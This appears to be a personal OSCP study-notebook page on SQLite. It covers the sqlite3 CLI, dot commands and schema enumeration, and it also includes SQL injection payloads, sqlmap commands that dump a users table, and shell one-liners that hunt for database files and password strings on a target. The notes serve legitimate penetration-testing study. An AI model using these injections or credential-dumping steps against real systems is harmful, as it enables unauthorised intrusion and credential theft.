Pearson's OSCP Notebook

SQLite

Properties1
tagssqlite, sqlite3, database, file-based, enumeration, sqli, lfi, oscp

4 min read

SQLite — Complete Reference

What is SQLite?

SQLite is a file-based embedded database — no network port, no server process. Apps store data in .db, .sqlite, .sqlite3, or .db3 files on disk.

OSCP use: Find DB files via LFI, directory brute, or find on privesc → sqlite3 file.db → dump users/passwords. Web apps using SQLite → SQL Injection / SQLMap with --dbms=sqlite.

Not a network service — unlike MySQL / PostgreSQL. You operate on files you can read.

Install (Kali)

sudo apt update && sudo apt install -y sqlite3

Usually preinstalled — verify: sqlite3 --version

Full install index → Installation - Kali Setup

📌 1) Find Database Files

# On target (shell)
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null
find /var/www -name "*.db*" 2>/dev/null
locate .sqlite 2>/dev/null
 
# Confirm file type
file app.db
strings app.db | grep -iE 'user|pass|admin|sqlite'
 
# Download via LFI / [[File Transfer]] then analyze on Kali

Common locations: /var/www/html/, app data dirs, browser profiles, mobile backups, CTF upload folders.

📌 2) sqlite3 CLI — Launch

sqlite3 database.db              # interactive
sqlite3 database.db "SQL HERE"   # one-shot query
sqlite3 -header -column database.db "SELECT * FROM users;"
sqlite3 -batch database.db ".tables"   # non-interactive script mode
sqlite3 -readonly database.db          # read-only open
sqlite3 -version
sqlite3 -help
FlagDescription
-headerColumn names on output
-columnColumn-aligned output
-csvCSV output
-jsonJSON output
-batchNo interactive prompts (scripts)
-readonlyOpen read-only
-init FILERun SQL/init file on startup
-echoPrint commands before execution

Install: sudo apt install sqlite3 (preinstalled on Kali).

📌 3) Dot Commands (Meta — start with .)

Run inside sqlite3 interactive shell, or one-shot: sqlite3 db.db ".tables"

CommandDescription
.helpList all dot commands
.quit / .exitExit
.tablesList tables
.tables PATTERNTables matching pattern — .tables %user%
.schemaSQL CREATE for entire DB
.schema TABLESchema for one table
.fullschemaSchema + stats + indexes
.indexes TABLEIndexes on table
.index INDEXNAMEInfo on index
.databasesList attached databases
.dbinfoStatus info about database
.dumpSQL dump entire DB (stdout)
.dump TABLEDump one table
.read FILEExecute SQL from file
.output FILESend results to file (.output stdout reset)
.once FILENext result only → file
.mode MODEOutput mode — see below
.headers on|offShow column headers
.width W1 W2 …Column widths
.separator COL ROWChange separators
.import FILE TABLEImport CSV into table
.showCurrent settings
.timer on|offQuery timing
.stats on|offMemory stats after queries
.clone NEWDBClone to new file
.backup FILEBackup to file
.restore FILERestore from backup
.open FILEOpen different database
.cd DIRECTORYChange cwd
.print STRINGPrint string
.log FILE|stdout|stderrLog session
.save FILEWrite in-memory DB to disk

Output modes (.mode)

ModeUse
columnAligned columns (good for reading)
lineOne column per line
listPipe-separated
csvComma-separated
jsonJSON objects
markdownMarkdown table
htmlHTML table
insert TABLEINSERT statements
quoteSQL-quoted values
tclTcl list format
boxUnicode box drawing
sqlite3 app.db
.headers on
.mode column
.tables
.schema users
SELECT * FROM users;
SELECT sql FROM sqlite_master WHERE type='table';
.quit

📌 4) SQL Enumeration Queries

-- Version
SELECT sqlite_version();
 
-- All tables
SELECT name FROM sqlite_master WHERE type='table';
 
-- Table columns
PRAGMA table_info(users);
PRAGMA table_info('users');
 
-- Full schema from system table
SELECT sql FROM sqlite_master WHERE type='table';
 
-- Row count
SELECT COUNT(*) FROM users;
 
-- Dump creds
SELECT * FROM users;
SELECT username, password FROM users LIMIT 10;
 
-- Search all text columns (manual)
SELECT * FROM users WHERE username LIKE '%admin%';

One-liners from bash:

sqlite3 app.db "SELECT name FROM sqlite_master WHERE type='table';"
sqlite3 app.db "SELECT * FROM users;"
sqlite3 app.db ".dump" > dump.sql
sqlite3 -header -column app.db "SELECT * FROM credentials;"
sqlite3 -json app.db "SELECT * FROM users;" | jq

📌 5) SQL Injection (SQLite)

Fingerprint in web SQLi:

' OR 1=1--
' UNION SELECT 1,2,3--
SELECT sqlite_version()
MySQL-ishSQLite equivalent
SLEEP(5)No native sleep — use heavy query or blind
@@versionsqlite_version()
LOAD_FILE()Not available — file read via LFI not SQL
INTO OUTFILENot available — no write via SQLi typically

Union column count:

' ORDER BY 1--
' ORDER BY 2--
' UNION SELECT NULL,NULL,NULL--

SQLMap:

sqlmap -u "http://TARGET/page?id=1" --dbms=sqlite --dbs
sqlmap -u "http://TARGET/page?id=1" --dbms=sqlite -D main --tables
sqlmap -u "http://TARGET/page?id=1" --dbms=sqlite -D main -T users --dump

📌 6) OSCP Workflow

1. gobuster/ffuf → find backup.db, database.sqlite, users.db
2. OR LFI → read /var/www/app.db
3. OR find on privesc → *.sqlite in home/www
4. sqlite3 file.db → .tables → SELECT * FROM sensitive_table
5. Crack hashes offline → [[Hashcat]] / [[John]]
6. If web SQLi → confirm sqlite_version() → [[SQLMap]] --dbms=sqlite

📌 Quick Cheat Sheet

find / -name "*.sqlite*" -o -name "*.db" 2>/dev/null
sqlite3 app.db ".tables"
sqlite3 app.db ".schema"
sqlite3 -header -column app.db "SELECT * FROM users;"
sqlite3 app.db ".dump" > backup.sql
strings app.db | grep -i pass

Graph View

Backlinks